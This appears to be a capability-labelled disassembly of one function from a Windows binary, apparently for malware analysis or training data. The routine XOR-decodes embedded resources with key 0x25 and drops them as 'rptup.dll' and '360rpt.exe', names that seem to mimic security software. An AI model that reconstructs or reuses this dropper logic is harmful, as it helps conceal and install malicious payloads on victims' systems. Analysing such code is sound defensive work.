Function at 0x405810
Capabilities:
Delete file
Encode data using xor
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x414338
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push ebp
push esi
xor esi, esi
push edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
push ecx
mov dword [esp + 0x2c], esi
mov dword [esp + 0x14], esp
mov eax, esp
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x419668
mov dword [eax], 0xcb
call fcn.00405bd0
lea ecx, [esp + 0x20]
call fcn.00405c00
test al, al
mov eax, dword [esp + 0x18]
jne 0x405870
cmp eax, esi
jmp 0x405a03
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [0x41d6a0]
mov edx, dword [esp + 0x1c]
mov ebp, eax
push edx
mov eax, dword [ecx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov eax, dword [0x41d880]
cmp eax, esi
jne 0x4058b7
xor eax, eax
cmp ebx, esi
jbe 0x4058ad
mov cl, byte [eax + ebp]
xor cl, 0x25
mov byte [eax + ebp], cl
inc eax
cmp eax, ebx
jb 0x40589f
mov dword [0x41d880], 1
mov eax, dword [esp + 0x30]
mov edi, dword [esp + 0x34]
push eax
push str._s_rptup.dll
push edi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4059fd
lea ecx, [esp + 0x10]
push 0
push ecx
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push esi
je 0x4059f7
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
xor esi, esi
cmp eax, esi
je 0x405929
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
push ecx
mov dword [esp + 0x38], esp
mov eax, esp
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x419668
mov dword [eax], 0xcc
call fcn.00405bd0
lea ecx, [esp + 0x20]
call fcn.00405c00
test al, al
jne 0x405966
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x18]
cmp eax, esi
jmp 0x405a03
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x1c]
mov ebp, eax
mov eax, dword [0x41d6a0]
push ecx
mov eax, dword [eax + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov eax, dword [0x41d884]
cmp eax, esi
jne 0x4059b0
xor eax, eax
cmp ebx, esi
jbe 0x4059a6
mov cl, byte [eax + ebp]
xor cl, 0x25
mov byte [eax + ebp], cl
inc eax
cmp eax, ebx
jb 0x405998
mov dword [0x41d884], 1
mov edx, dword [esp + 0x30]
push edx
push str._s360rpt.exe
push edi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4059fd
lea eax, [esp + 0x10]
push 0
push eax
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push esi
jne 0x405a21
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
test eax, eax
je 0x405a0c
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
xor eax, eax
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
test eax, eax
je 0x405a36
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
mov eax, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0x1c
ret